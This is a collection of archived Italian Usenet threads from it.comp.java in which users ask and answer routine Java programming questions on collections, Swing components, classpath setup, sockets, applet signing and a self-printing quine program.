mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.java
Titolo: creare una collezione di oggetti

Salve a tutti! Nella speranza che ci sia qualcuno disposto ad aiutarmi,
vi espongo il mio problema. Quello di cui ho bisogno è una collezione
di oggetti che sia visibile in tutto il programma. Ecco cosa faccio.
public class Main {
    /** Vector che conterrà gli oggetti */
    public static Vector objVector;
    public Main() {
    }
    public static void main(String[] args) throws IOException {
        // Inizializza un Vector che conterrà gli oggetti
        Vector objVector = new Vector();
        new A();
   }
}
public class A {
    public A() {
        // Crea un oggetto della classe B
        B obj = new B();
        Main.objVector.addElement(obj);     (*)
        System.out.println(
obj.name
);
    }
}
public class B {
    public String name;
    bla
    bla
}
In fase di compilazione non ho nessun problema, mentre a tempo di
esecuzione ecco il messaggio che ricevo:
    Exception in thread "main" java.lang.NullPointerException
Mi è venuto da pensare che il problema fosse nella creazione
dell'oggetto, ma se elimino la linea di codice (*) la stampa
dell'attributo dell'oggetto avviene correttamente, quindi l'oggetto
viene creato!
Ciao,
M@x

 ha scritto nel messaggio 
news:1128537637....@f14g2000cwb.googlegroups.com...


 --
In effetti, inizializzando l'attributo statico il problema scompare.
Grazie,
M@x

     public static Vector objVector;
public static final Vector objVector = new Vector();

Newsgroup: it.comp.java
Titolo: [Help]Installare package JAI

Salve, volevo sapere se qualcuno di voi aveva installato con successo il
package JAI e i JAI Tools.
Ho scaricato dal sito Sun tutte e 3 le versioni di JAI, e provando con una
alla volta, non sono riuscito a farle "riconoscere" dal compilatore.
Ho seguito alla lettera le istruzioni sul sito, ma forse sbaglio qualcosa
nella modifica del PATH...sapete dirmi come fare?
Grazie
PS: la mia configurazione
SDK 1.4.1
JRE 1.4.1_02
Windows XP Professional


Dimenticavo... uso Sun ONE Studio 4 CE come ambiente di sviluppo
Newsgroup: it.comp.java
Titolo: HELP!!! Menuitem aggiunti e rimossi

Ciao a tutti,
sto implementando una applicazione in Java con le JDK 1.1.6 e VisualAge.
In questa applicazione ho bisogno di inserire e rimuovere dei MenuItem e
mi sono trovato in difficolta':
Tramite la Menu.insert e la Menu.remove riesco a mettere e togliere i
MenuItem. Pero' non sono ancora riuscito a capire come associare
all'item una azione... con gli item iniziali non ho problemi (associo
l'operazione da compiere nella handle) ma questi non so quanti
potrebbero essere, non so a che punto li inseriro' ecc... ho visto nei
doc del JDK che esiste la funzione setActionCommand ma non sono riuscito
a utilizzarla.
Inoltre vorrei sapere se una volta rimosso il MenuItem viene rimossa
l'azione associata (anche se finora ho dato per scontato che sia
cosi'...)
Se e' possibile avere anche degli esempi ve ne sarei molto grato.
Grazie mille,
Diego.
P.S.: per favore rispondetemi anche via e-mail : 
brai...@iname.com

Il metodo setActionCommand ti permette di associare un codice identificativo
dell'azione di selezione del MenuItem, questo codice viene poi restituito a
tutti i Listener che si sono registrati come ActionListener sull'item.
Esempio :
Quando crei il Menu :
JMenu menu = new JMenu();
JMenuItem insert_item = new JMenuItem("Insert"); // Descrizione dell'item
insert_item.setActionCommand("insert");                 // ActionCommand
dell'item
menu.add(insert_item);
insert_item.addActionListener(new MenuListener());
JMenuItem delete_item = new JMenuItem("Delete"); // Descrizione dell'item
delete_item.setActionCommand("delete");                 // ActionCommand
dell'item
menu.add(delete_item);
delete_item.addActionListener(new MenuListener());
A questo punto dovrai creare la classe MenuListener in questo modo :
class MenuListener implements ActionListener {
  public void actionPerformed(ActionEvent e) {
         String action = e.getActionCommand();
       if (action.equals("delete")) {
            ... fai qualcosa ...
       }
       if (action.equals("insert")) {
            .... fai qualcosaltro ....

Newsgroup: it.comp.java
Titolo: [OT][DEMENZIALE] Un programma "Utile"

Stavo riflettendo...
Quale potrebbe essere un programma "Utile"?
Beh, ad esempio sarebbe utile un programma che fosse in grado di
creare da solo i sorgenti di un programma.
Sě, purchč il programma creato fosse a sua volta utile...
E mi č venuto fuori questo (fatelo girare, catturate l'output,
salvatelo in un file "Utile.java" e compilatelo...):
public class Utile
{
public static void main(String[] args)
{
String[] a={
"public class Utile",
"{",
"public static void main(String[] args)",
"{",
"String[] a={",
"};",
"for(int i=0;i<a.length;i++)",
"{",
"System.out.println(a[i]);",
"if(i==4)",
"{",
"for(int j=0;j<a.length;j++)",
"{",
"if(a[j].charAt(0)==92)",
"{",
"}",
"else",
"{",
"System.out.println(",
"(char)34+",
"a[j]+",
"(char)34+",
"(char)44",
");",
"}",
"}",
"}",
"}",
"}",
"}",
};
for(int i=0;i<a.length;i++)
{
System.out.println(a[i]);
if(i==4)
{
for(int j=0;j<a.length;j++)
{
if(a[j].charAt(0)!=92)
{
System.out.println(
(char)34+
a[j]+
(char)34+
(char)44
);
}
}
}
}
}
}

 wrote:
public class Utile
{
public static void main(String[] args)
{
String[] a={
"public class Utile",
"{",
"public static void main(String[] args)",
"{",
"String[] a={",
"};",
"for(int k=0;k< a.length;k++)",
"{",
"System.out.println(a[k]);",
"if(k==4)",
"{",
"for(int j=0;j< a.length;j++)",
"{",
"if(a[j].charAt(0)!=92)",
"{",
"System.out.println(",
"(char)34+",
"a[j]+",
"(char)34+",
"(char)44",
");",
"}",
"}",
"}",
"}",
"}",
"}",
};
for(int k=0;k< a.length;k++)
{
System.out.println(a[k]);
if(k==4)


public class Utile
{
public static void main(String[] args)
{
String[] a={
"public class Utile",
"{",
"public static void main(String[] args)",
"{",
"String[] a={",
"};",
"for(int k=0;k< a.length;k++)",
"{",
"System.out.println(a[k]);",
"if(k==4)",
"{",
"for(int j=0;j< a.length;j++)",
"{",
"System.out.println(",
"(char)34+",
"a[j]+",
"(char)34+",
"(char)44",
");",
"}",
"}",
"}",
"}",
"}",
};
for(int k=0;k< a.length;k++)
{
System.out.println(a[k]);
if(k==4)
{
for(int j=0;j< a.length;j++)
{


 salvatelo in un file "Utile.java" e compilatelo...):
Non ho fatto quanto hai detto.
Pero' ho scorto un 34 nel codice.
Ogni volta che vedo un 34 in un codice penso sempre a questo:
http://www-fs.informatik.uni-tuebingen.de/~holzer/pub-holzer/self.html
oppure a questo:
http://www.gnu.org/software/java/selfprint-java.html
- Dario
Newsgroup: it.comp.java
Titolo: Certificazione (terza "postata")

Vorrei avere informazioni "pratiche" su come certificare un applet in
ambiente SUN : ho fatto diversi tentativi in base alla documentazione
cho ho reperito e che peraltro mi sempra chiara ma penso di sbagliare
qualche cosa xchè non va ...
--
           \\\\////
           &( oo )&
========oOO==(__)==OOo========
|                            |
|
Andrea....@deagostini.it
|
|                            |
==============================
            ||   ||
           (__) (__)

 qualche cosa xchè non va ...
Quali tentativi ? Quale documentazione ? Messaggi di errore ?
Cosi' e' un po' vago...
-- 
                     // Alf - 
dipi...@tagliamento.sci.uniud.it
                   \X/     Life sucks! [Marvin the android]

Angelo Dipierro wrote:

Mi riferisco alla documentazione che ho reperito sul sito SUN che si
intitola "Using Javakey" e "Using signed applets with the java plug-in" ed
ho proceduto nel seguente modo :
javakey -cs "nomeid" true (creo l'identità)
javakey -gk "nomeid" DSA 512 chivepub chiavepriv (genero la coppia di
chiavi)
javakey -gc cert_directive (genero il certificato con il file di direttive)
javakey -gs sign_directive mio.jar  (firmo il jar).
mv mio.jar.sig mio.jar (rinomino il jar firmato ).
a questo punto con il medesimo database dei certificati IDENTITYDB.OBJ e
sul medesimo client dove ho firmato il JAR eseguo con l'appletviewer ma ho
di nuovo errori di sicurezza se tento di connettermi ad un'altro HOST
tramite JDBC, mentre se configuro appletviewer in modo che non effettui
restrizioni sull'applet funziona tutto correttamente ...

Newsgroup: it.comp.java
Titolo: problema con jtable

ciao
qualcuno sa come si fa a dire a una jtable che per una certa colonna il
contenuto delle celle deve essere allineato a destra ?
non riesco a trovare esempi abbastanza semplici sulla jtable.
avete per caso qualche indirizzo o meglio ancora qualche esempio da postare
?
ciao e grazie

non riesco a trovare esempi abbastanza semplici sulla jtable.
Spero che il seguente, anche se minimale, sia abbastanza semplice da 
indicarti la strada ;-)
import javax.swing.*;
import javax.swing.table.*;
public class TabellaADestra extends JTable {
  public TabellaADestra(TableModel model, Object colId) {
    super(model);
    TableColumn tc = this.getColumn(colId);
    tc.setCellRenderer(new TabellaADestra.MioRenderer());
  }
 
  private class MioRenderer extends DefaultTableCellRenderer {
    public MioRenderer() {
      super();
      setHorizontalAlignment(JLabel.RIGHT);
    }
  }
  public static void main(String[] args) {
    JFrame frame = new JFrame("frolix-8");
    frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    frame.setSize(320, 240);
 
    Object[] titoli = {"Descrizione", "Prezzo"};
    Object[][] dati = {{"X", new Float(0.88)}, {"Y", new Float(1)}};
    DefaultTableModel dtm = new DefaultTableModel(dati, titoli);
    TabellaADestra tad = new TabellaADestra(dtm, "Prezzo");
 
    frame.getContentPane().add(new JScrollPane(tad));
    frame.setVisible(true);
  } 
}
HTH
-- 
Ciao
	Fabrizio C.

ti ringrazio dell'aiuto (non č il primo che mi dai) , ti assicuro che ci sto
perdendo le giornate con la jtable , questo č solo uno dei tanti problemi
che mi stanno bloccando.
fra l'altro ho trovato questo indirizzo con esempi sulla jtable e altri
componenti swing che possono essere utili
http://www2.gol.com/users/tame/swing/examples/SwingExamples.html
ciao
"Fabrizio Camera" <f.came...@Mtiscali.it> ha scritto nel messaggio
news:MPG.16f73f705...@powernews.libero.it...



http://www2.gol.com/users/tame/swing/examples/SwingExamples.html
Spartano, ma gli esempi sono proprio interessanti. Grazie del link.
-- 
Ciao
	Fabrizio C.

Newsgroup: it.comp.java
Titolo: Servlet e Directory

Volevo sapere se esistono dei metodi per la gestione delle directory di
un filesystem.
In particolare, in una servlet devo sviluppare una routine che controlli
il contenuto di tutte le directory e subdirectory di un sito.
Esiste un metodo che restituisca il contenuto (file e/o subdirectory) di
una certa directory?
Grazie in anticipo
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

Dai un'occhiata a java.io.File
:-)


 una certa directory?
Guarda la documentazione della classe File.
Davide

Newsgroup: it.comp.java
Titolo: Java Virtual Machine: dove lo trovo e come installarlo su Xp?

Java Virtual Machine: dove lo trovo e come installarlo su Xp?
Su windows xp non cč.
Ciao e grazie
alessandro
email: 
in...@colorweber.it

 Su windows xp non cè.


 ha scritto nel messaggio
news:Zlosa.83946$iy5.2...@twister2.libero.it...

Newsgroup: it.comp.java
Titolo: [INFO] settare il classpath il window XP

Ciao a tutti,
vorei settare il classpath in win XP, poiché ho visto che nella sezione
"enviorement variables" in control panel --> system, manca la voce. Ma mi
chiedo: devo settarlo lì il classpath?
Un'altra cosa. Digitando "java -version" dal prompt, mi dice che ho la
versione 1.3, ma io ho installato la 1.4 e la 1.3 è del JBuilder. Come fare
per fare usare al sistema la sdk1.4??
Spero mi illuminiate!! Grazie!
Giulio

Ciao Giulio
Si il Classpath va settatto nella sezione "enviorement variables".
Se non esiste, lo devi creare.
Per far usare al sistema la versione 1.4 di java devi modificare una voce
nel registro del sistema.
apri il percorso nella parte sinistra (come in gestione risorse):
HKEY_LOCAL_MACHINE \ SOFTWARE \ Javasoft \ java runtime environmet\
e nella parte destra devi modificare una voce che si chiama "Current
Version".
fai doppioclick alla voce e poi digitare 1.4(o la versione che intendi far
visualizzare dal sistema)

 wrote in message
news:j4Dn9.51705$Eu.11...@twister1.libero.it...

Ok, ho provato a fare così, ma quando digito "java -version" mi dà il
seguente errore:
----------------------------------------------------------------------------
-----
Registry key 'Software\JavaSoft\Java Runtime Environment\CurrentVersion'
has value '1.4.0', but '1.3' is required.
Error: could not find java.dll
Error: could not find Java 2 Runtime Environment.
----------------------------------------------------------------------------
-----
Cosa c'è che non va?
Giulio

Newsgroup: it.comp.java
Titolo: problema con a capo FOP

ciao a tutti
ho un file xml e un file xsl fop.
all'interno di un certo tag dell'xml c'è un testo con dei br in questo 
formato <br/> in modo che se questo testo viene visualizzato in una pagina 
web esso vada a capo correttamente.
il problema è che non riesco a fare andare a capo il testo dopo la 
trasformazione da xml a pdf tramite fop.
nel mio xsl ho messo:
 <xsl:template match="br">
           <fo:block></fo:block>
 </xsl:template>
Ma sembra che quel template non venga mai trovato
mi sapete aiutare?
grazie 

 </xsl:template>
il problema è che è vuoto e non viene calcolato, io all'epoca avevo risolto 
con un punto con un carattere piccolo. Ma io costruivo i report per 
trasformarli in PDF non so se nella trasformazione per HTML si può 
utilizzare qualcos'altro....(io usavo la versione 0.20.4 di circa un'anno e 
mezzo fa, adesso hanno detto che l'hanno riscritto per una maggire 
compatibilità con lo standard...)
Ciao
Domenico
Newsgroup: it.comp.java
Titolo: Socket (Serializzato??) e Client/Server per upload/download Files

Ciao a tutti devo realizzare una applicazione che permetta di scambiarsi dei
files da(almeno) due macchine diverse. Chi mi aiuta ad implementare in Java
la comunicazione Upload/Download?Mi spiego meglio:il Client1 dopo aver
mandato la richiesta di file al Client2 tramite ip, porta del client2. Il
client2 apre una socket con il client1 dove invia il file e
contemporaneamente il client1 deve ricevere sulla stessa socket il file.
Naturalmente deve essere possibile anche il procedimento inverso.Ovvero dal
Client2 richiedere un file presente sul Client1;Client1 apre socket ed invia
il file al Client2.Naturalmente devo usare le gestione delle Eccezioni ed il
Multithread per dare accesso contemporaneamente e più invii/scaricamenti.
Come posso implementarlo?
Grazie.


Prego.

Newsgroup: it.comp.java
Titolo: Creare un'interfaccia riutilizzabile

Salve,
il mio problema è quello di creare una classe per l'interfaccia di
un'applicazione standalone che sia riutilizzabile anche per un'applet. E'
possibile farlo? in che modo?
Bye
Johnny
--
Bye
Johnny
http://digilander.iol.it/Superpork

possibile farlo? in che modo?
public class MyGraphInterface extends Component
{
	public MyGraphInterface()
	{
		//la tua interfaccia qui
	}
}
poi, per un applet
public class MyApplet extends Applet
{
	public void init()
	{
		setLayout(new BorderLayout());
		add(new MyGraphInterface(),"Center");
		//il resto
	}
}
oppure per un'applicazione
public class MyApplication
{
	public static void main(String[] args)
	{
		MyApplication thisInstance=new MyApplication();
		thisInstance.displayInterface(new MyGraphInterface());
		//il resto
	}
	void displayInterface(MyGraphInterface i)
	{
		Frame baseFrame=new Frame("My title");
		//ricordati di implementare il WindowListener
		baseFrame.setLayout(new BorderLayout());
		baseFrame.add(i,"Center");
		baseFrame.pack();
		baseFrame.show();
	}
}
Non testato, sorry per gli eventuali errori.
HTH,
Mauri.
-- 
La forza di gravità è un falso mito,
è la Terra che succhia!
Newsgroup: it.comp.java
Titolo: Eliminare una variabile session

Ciao a tutti, vorrei eliminare (ovvero buttare nella spazzatura) una
variabile session nel momento in cui effettuo il logout.
esiste qualcosa del tipo
session.deleteAttribute("logSession"); o
session.gabageAttribute("logSession") ?!?!?
che fantasia di nomi eh!!! 
grazie a tutti!

 session.gabageAttribute("logSession") ?!?!?
http://java.sun.com/products/servlet/2.2/javadoc/javax/servlet/http/HttpSession.html#removeAttribute(java.lang.String)
-- 
Giambo - Occhio al filtro antispam _e_ alla whitelist !

 che fantasia di nomi eh!!! 
Più che altro è il destino di chi sceglie il metodo di programmazione 
"tiriamo a'ndovinà".

 session.gabageAttribute("logSession") ?!?!?
Per quanto riguarda i metodi relativi all'oggetto HttpSession, ti consiglio
di consultare la documentazione ufficiale di Sun. Ad ogni modo il metodo che
cerchi è removeAttribute(nomeparametro); per essere *sicuro* di eseguire un
clean-up quando una sessione http viene distrutta od invalidata, dovresti
sviluppare un listener che implementi HttpServletListener etc...
Scorpio.
Newsgroup: it.comp.java
Titolo: Lentezza Socket

Salve a tutti
 
Sto realizzando un'applicazione client-server con socket, e sto notando una trementa lentezza nello streaming di dati.
 
Ho realizzato una piccolo programma di test, con 
 
- client che invia un intero al server e attende una risposta
- server che riceve interi dal client e risponde al client con un altro intero
 
Il tempo medio perchè il client ottenga la risposta è 500 ms! (su una rete locale con ping molto buoni, client con windows 7)
 
Da cosa potrebbe dipendere? non so più dove sbattere la testa...
 
 
 
public static void server() throws IOException{
		ServerSocket server = new ServerSocket (10000);
		Socket s = server.accept();
		DataInputStream is = new DataInputStream (s.getInputStream());
		DataOutputStream os = new DataOutputStream (s.getOutputStream());
 
		while (true){
			int i = is.readInt();
			os.writeInt(i);
		}
 
	}
 
	public static void client() throws UnknownHostException, IOException{
		String address = "192.168.0.124";
		Socket s = new Socket (address,10000); 
		DataInputStream is = new DataInputStream (s.getInputStream());
		DataOutputStream os = new DataOutputStream (s.getOutputStream());
		int a;
		long before = System.currentTimeMillis();
		for (int i = 1; i < 100; i++){
			os.writeInt(i);
			a = is.readInt();
			System.out.println (a);
		}
		long after = System.currentTimeMillis();
		System.out.println (after - before);
 
	}

   }
 
Togli la prinln nel for() e riprova.
Inoltri ti rendi conto che il tempo di (after-before) e' quello che ci
mette TUTTO il for() a venire eseguito vero?
 
Ciao Jack
-- 
Yoda of Borg am I! Assimilated shall you be! Futile resistance is, hmm?

La println nel form credo che gli serva per debug.
comunque credo che non si sia accorto di aver messo la tempistica fuori dal forma e gli sembra tanto mezzo secondo per inviare i 100 interi

interi
 
beh, e' cmq 5 msec per intero, di cui 4 (tirando quasi ad indovinare)
servono alla println per scrivere sullo schermo.



Non mi sono spiegato... ottengo un tempo medio di 500 ms, ovvero 500 ms per ogni intero.
L'intero ciclo impiega 50 secondi per inviare 100 interi...

 interi...
 
no, non ti eri spiegato.
Hai provato a togliere le println?


 
Si, ma non cambia granchè... come dici tu println porta via al massimo 4ms, i restanti 96 servono per la comunicazione via socket
 
La cosa strana è che mandando long anzichè int i tempi migliorano in maniera impressionante

maniera impressionante
 
Ipotizzo: puo' essere che il sistema aspetti (fino ad un certo timeout)
di avere un frame TCP pieno prima di spedirlo, quindi mandando un int
alla volta la cosa diventa lenta, mandando dei long (che sono piu'
grandi degli int) il tempo diminuisce perche' il frame si riempie prima.
 
Sincermanete e' un pezzo che non lavoro coi socket in java, quindi il
mio consiglio e' andare a leggerti per bene la doc di java sui socket e
capire cosa effettivamente succede.
 
Se poi hai ancora problemi crea un progetto minimale funzionante e torna
qua, cosi possiamo testare anche noi senza buttare via tempo a
riscrivere il codice.

Newsgroup: it.comp.java
Titolo: comunicazione applet->javascript

Ho un problema: In una pagina web ho un'applet e una immagine animata che
controllo via javascript con dei semplici metodi che ridefiniscono .src.
L'applet genera un thread che compie una determinata azione (scrive le
lettere in sequenza dentro un fumetto). All'inizio e alla fine di questo
task io vorrei invocare i metodi javascript relativi alla partenza e allo
stop di un'animazione per l'immagine. Ho usato JSObject del package
netscape.javascript ed i relativi metodi eval e call. Il problema č che
JSObject.getWindow() non sembra funzionare correttamente in Internet
Explorer, che č la mia scelta irrevocabile come browser supportato. Qualcuno
sa se esiste un package apposito per IE, o come aggirare in qualche modo il
problema ?
Grazie dell'attenzione

 wrote in message
news:9mfjjq$fpl$1...@newsfeed.cineca.it...



Non riesco a beccare l'handle della finestra. Ho provato un codice di questo
genere:
    JSObject win;
    ...
    public void init() {
    ...
    try {
      // win = JSObject.getWindow();
      win = JSObject.getWindow((Applet)this);
    } // oggetto JavaScript per l'invocazione dei metodi
    catch (Exception exc) { System.out.println("non riesco a reperire la
finestra !"); }
    }
e mi solleva sempre l'eccezione ! Come vedi ho provato alcune soluzioni ma
niente da fare !

Newsgroup: it.comp.java
Titolo: aiuto classi

Ciao a tutti mi sto addentrando da poco ne mondo J2me, non riesco a 
risolvere questo probblema:
se dichiaro la classe con implemets CommandListener in compilazione mi da il 
seguente errore
C:\Documents and Settings\Nicola\Mensrc\menu\prova.java:10: menu.prova is 
not abstract and does not override abstract method 
commandAction(javax.microedition.lcdui.Command,javax.microedition.lcdui.Displayable) 
in javax.microedition.lcdui.CommandListener
public class prova extends MIDlet implements CommandListener {
se dichiaro la classe senza implemets ....... funziona regolarmente
sto impazzendo aiutatemi 

Ti sta semplicemente dicendo che una classe che implementa l'interfacca
CommandListener deve definire il metodo commandAction
Newsgroup: it.comp.java
Titolo: Urgentissimo....Creare uno sfondo con Bitmap su un Panel





Ho un problema, 


sto scrivendo una applicazione client server 
tramite rmi, che dal lato client gestisce una gui non troppo pesante con 4 -5 
pulsanti e 2 textboxarea per del testo che deve comparire...


Quello che m'interessa fare e' di attaccare una 
bitmap sullo sfondo del pannel utilizzato, ma purtroppo da quanto ho capito la 
classe panel permette, tramite il metodo setBackground, di colorare il 
background solo con un colore rgb...


Quindi vi chiedo c'e' un modo per avere una texture 
di sfondo senza stravolgere il programma ??
ahh... ho provato anche ad 
utilizzare setBorder, con MatteBorder ma purtroppo il risultato e pessimo, ed 
inoltre gli oggetti che ho sul layout quando cerco di avvicinarmi con il bitmap 
ai margini, sono spostati dal loro posto originale...


quindi ho scartato anche questa 
soluzione..


 



deriva una tua classe da Panel e ridefinisci il metodo paint()

 Tel.
(+39)-0587-749206
  Fax.
(+39)-0587-749206
  WEB: 
http://www.classx.it
  <
============================================================================



 - Quale database engine ?
Nel sito 
java.sun.com
 č possibile scaricare una versione Beta dell'ambiente
'Wireless Toolkit'
Ti basta una JVM 1.3 per creare le tue applicazioni, con il tool 'KToolbar'
puoi fare i tuoi test
anche sull'emulatore 'Palm'
Quando tutto č pronto puoi trasportare la tua applicazione sul device 'Palm'.
Leonardo


Newsgroup: it.comp.java
Titolo: Forte 1.3...

Ciao,
ho scritto ieri il messaggio riguardante la classe Statement.
Appurato che l'unico metodo č riminare i riferiemti alla classe con il nome
esteso(java.sql.Statement), volevo prima tornare al JDK 1.3, per terminare
il lavoro corrente.
é possibile cambiare il path della JVM di forte?
Durante l'istallazione mi ha chiesto di specifare il path, ora punta alla
1.4.
Come posso dirgli di far riferiemto alla 1.3?
grazie

 Come posso dirgli di far riferiemto alla 1.3?
Prova a guardare sotto: Tools / Options.
Lì ci sono i vari tipi di compilazione sotto "Options / Building / Compiler
Types".
Forse a te serve cambiare il "JavaExternalCompiler".

Newsgroup: it.comp.java
Titolo: scrivere su un file

Ciao a tutti,
devo sviluppare un'applicazione che vada a leggersi un file di dati,li esponga
su una form dove possono essere modificati e quindi prenda queste modifiche e
aggiorni il file letto sovrascrivendo i dati ottenuti.
Qualche suggerimento o pezzo di codice adatto allo scopo?????
-- 
Posted from  [146.133.1.30] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 ha scritto nel messaggio
news:fdc9f6cec979a60a59b...@mygate.mailgate.org...


Qualche suggerimento o pezzo di codice adatto allo scopo?????
http://java.sun.com/docs/books/tutorial/essential/io/filestreams.html
HTH
-- 
Ciao
	Fabrizio C.
Newsgroup: it.comp.java
Titolo: quadrato di un numero

ciao a tutti,da buon newbie vorrei essere illuminato sull'aloritmo che
calcola il quadrato di un numero facendo la somma dei numeri dispari per n
volte.
grazie a tutti,andrea
***************************************
messaggio inviato tramite HostSearch.it
---------------------------------------
---> 
http://www.hostsearch.it/newsgroup
***************************************

 ha scritto nel messaggio
news:b0tjco$9sq$1...@news.flashnet.it...


int calcolaQuadrato (int a)
{
  int i = 1, result = 0;
  while (i<a+1){
    result += 2*(i++)-1;
  }
  return result;
}
Si dimostra per induzione su n:
Somma per i che va da 1 a n di 2i-1=n^2
n=1 ok
Supponiamo valga per n e dimostriamo che vale per n+1
(Somma per i che va da 1 a n+1 di 2i-1)=
(Somma per i che va da 1 a n di 2i-1) + 2*(n+1)-1 =
n^2 (per ipotesi induttiva) + 2n + 1 = (n+1)^2
CVD
Spero di esserti stato utile,
Ciao Guido.

 grazie a tutti,andrea
La matematica viene insegnata male, per questo molti la trovano ostica.
Prova a visualizzare la cosa cosi' (purtroppo con i simboli viene male, 
sarebbe meglio con i colori):
. puo' essere considerato un quadrato di lato 1. (o colora di giallo un 
quadratino di un foglio a quadretti)
Aggiungici ora una cornice (uso il -, tu colora di rosso i quadratini 
come da figura)
.-
--
Quindi aggiungendo 3 quadratini a 1 quadratino otteniamo un quadrato di 
area 4 (2*2 di lato)
Continuo con ^ (tu colora di azzurro ecc. ecc.)
.-^
--^
^^^
Quindi aggiungendo 5 quadratini al quadrato precedente otteniamo un 
nuovo quadrato, di area 9 (3*3 di lato)
.-^*
--^*
^^^*
****
Aggiungendo 7 quadratini al quadrato precedente (formato da 5 + 3 + 1 = 
9 quadratini) ottengo un quadrato di area 4^2 = 16
Se guardi il lato del quadrato, non abbiamo fatto altro che sommare i 
primi n dispari, ottenendo proprio n^2.
ti torna visto cosi' geometricamente? Algebricamente lo puoi dimostarre 
per induzione, e' la stessa cosa di cui sopra ma con un linguaggio piu' 
formale ma meno intuitivo
ciao
uL

 formale ma meno intuitivo
D'ho! Mitico (accento di Homer Simpson)
Veramente carina, complimenti
Ciao
Giuseppe

Newsgroup: it.comp.java
Titolo: Problemi con Motherboard

Scusate l'OT ma sono davvero disperato!
Un mio amico ha comprato da poco un nuovo PC con sopra la Motherboard Soyo
SY-7IWM/L V1.0
Il problema č che usando una versione di Win 98 un po' vecchia, da quanto ho
capito non puň configurare correttamente la scheda sonora che č inclusa
nella piastra.
Mi confermate i miei sospetti?
E se si, devo PER FORZA reinstallare una release piů recente di Win 98 o
esistono i drivers per risolvere il problema???
Chiedo ancora scusa ma non so piů cosa fare.
PS. se mi rispondete alla mia e-mail mi fate un favore!
Grazie a tutti quanti
--
Tango
http://www.halflifeitalia.com
ICQ: 35463931

 ha scritto nel messaggio
news:8b8jba$iuh$1...@fe1.cs.interbusiness.it...

Newsgroup: it.comp.java
Titolo: Eseguibile java...

Ho creato il mio programma java in Jbuilder (6)..ma adesso lo posso creare
un file eseguibile o no?
Scusate l'ignoranza.

 
Ho idea di no. Creare un eseguibile vuol dire vincolare il tuo programma 
ad una piattaforma specifica, e ciò va un po' contro alla filosofia di 
java, che è incentrata sulla portabilità: per questo quello che ottieni 
dopo la compilazione è bytecode, una specie di codice oggetto che viene 
successivamente interpretato dalla virtual machine. Non so se si può 
fare quello che dici tu usando la JNI, ma quello che puoi fare 
sicuramente è un file .jar che, opportunamente impostato, gira su tutte 
le macchine che dispongono del JRE... effettivamente è una specie di 
eseguibile... i dettagli non te li so fornire al momento, magari qualcun 
altro ci risponderà
-- 
Se libertà in fondo significa qualcosa, significa il diritto di dire 
alla gente quello che non vuole sentire.
(George Orwell)

> (George Orwell)
grande George!
:o)

 Scusate l'ignoranza.
MI sembra che JBuilder ti dia la possibilitą di 
creare un eseguibile direttamente dall'IDE (ma non so dove e come).
In giro ci sono molti programmi (nelle mail passate ci sono
 i riferimenti) che lo fanno.
Credo che  quello fanno č legare la JVM al tuo programma 
 e mettono tutto in un eseguibile.. 
Immagino che un bat puoi fare attrettanto....
CIao
  --gio
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

Newsgroup: it.comp.java
Titolo: spiegatemi questi termini

scusate che significa J2EE toolkit e framework...in maniera molto
semplice
Ciaooo

J2EE : Java 2 Enterprise Edition
toolkit : kit di tool, un insieme di "attrezzi"
framework: lavoro di contorno.
per esempio AWT è un toolkit perché ti mette a disposizione una serie di
oggetti che puoi utilizzare così come sono per fargli fare quello che ti
serve che facciano. API come le servlet invece sono un framework perché ti
mettono a disposizione un "modo di lavorare", delle classi che puoi
estendere e interfacce che puoi implementare per fargli fare quello che
vuoi.
J2EE è un insieme di API, quindi un framework, attorno al quale puoi
costruire applicazioni con esigenze complesse. Si differenzia da J2SE dal
fatto che J2EE è prettamente destinato ad applicazioni server mentre J2SE è
destinato ad applicazioni client.

Newsgroup: it.comp.java
Titolo: Aggiungere un package

Ho un piccolo problema perchè fino ad oggi non mi sono mai dovuto
appoggiare a librerie esterne a quelle della sdk e quindi non ci capisco
niente di CLASSPATH PATH e package... come faccio ad inglobare una
libreria esterna nelle sdk permanentemente?
E quando definisco una classe in cui sfrutto metodi e oggetti di questa
libreria, come devo richiamarla ?grazie 1000
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it

 
http://space.tin.it/computer/csadun/javafaq.html
-- 
Fighting for peace is like fucking for virginity
ObjectZone - 
http://space.tin.it/computer/csadun

 
Dovrebbe bastare inserire il package (.jar)
in <java_home>/jre/lib/ext
ciao
Newsgroup: it.comp.java
Titolo: Random o random ?

 dal current Time...
No, è che tutte le 2^32 possibilità (nextInt è implementata come { return
next(32); } che riporta un numero casuale di 32 bits) hanno una eguale
probabilità di essere estratte e quindi eccoti un numero pazzescamente
grande. Fai (nextInt() + 1) % tetto_massimo
Ciao,
 Stefano
----------
"X WindowSSS, teSSSoro mio... lo odieremo per SSSempre"
Bill Gollum
----------

 grande. Fai (nextInt() + 1) % tetto_massimo
GRAZIE.... funziona meravigliosamente bene...:-)))
ciao
ele
 "Software is like sex: it's better when it's free".
           Linus Torvalds


 mi segnala sempre "wrong number of arguments in method".
Scusa, questo metodo esiste in effetti solo a partire dal JDK1.2 al quale ti
consiglio d'altronde di passare.
Ora oltre al metodo nextInt() semplice é stata aggiunta la variante con
l'argomento che permette di specificare il valore massimo non incluso.
Ti ricordo che in programmazione oggetto puoi avere dei metodi con lo stesso
nome, ma che si differenziano per i loro argomenti (overloading, non mi
ricordo piu come si dice in italiano...).
bye
Carlo

Newsgroup: it.comp.java
Titolo: Risolvere eq. non lineare

Devo trovare la sluzione di una equazione del tipo
a*cos(c-x)+b*x=k
in funzione di x per un'applicazione grafica
Dove posso trovare una classe (leggera) che mi permetta di farlo?
o al limite come crearla? avete qualche procedura da seguire?
grazie
simmox
--------------------------------
Inviato via 
http://usenet.libero.it

 qualche procedura da seguire? 
Non so se esistono gia dei package, ma sicuramente ce ne sono.
Potresti pero' costruirti un package implementando un metodo
numerico per gli zeri di funzioni (non lineari)... cerca in 
rete che c'e' molto materiale, forse se sei fortunato riesci a
trovare qualche package gia fatto.
 
-- 
"difficilmente riusciremo ad arginare la diffusione dei virus finche' 
 esisteranno programmi come  u(z1...zn)=sel1(u z1...zn)=u" - Kleene

Devo trovare la sluzione di una equazione del tipo
un'equazione "del tipo" di quella postata, nel senso che sono sempre
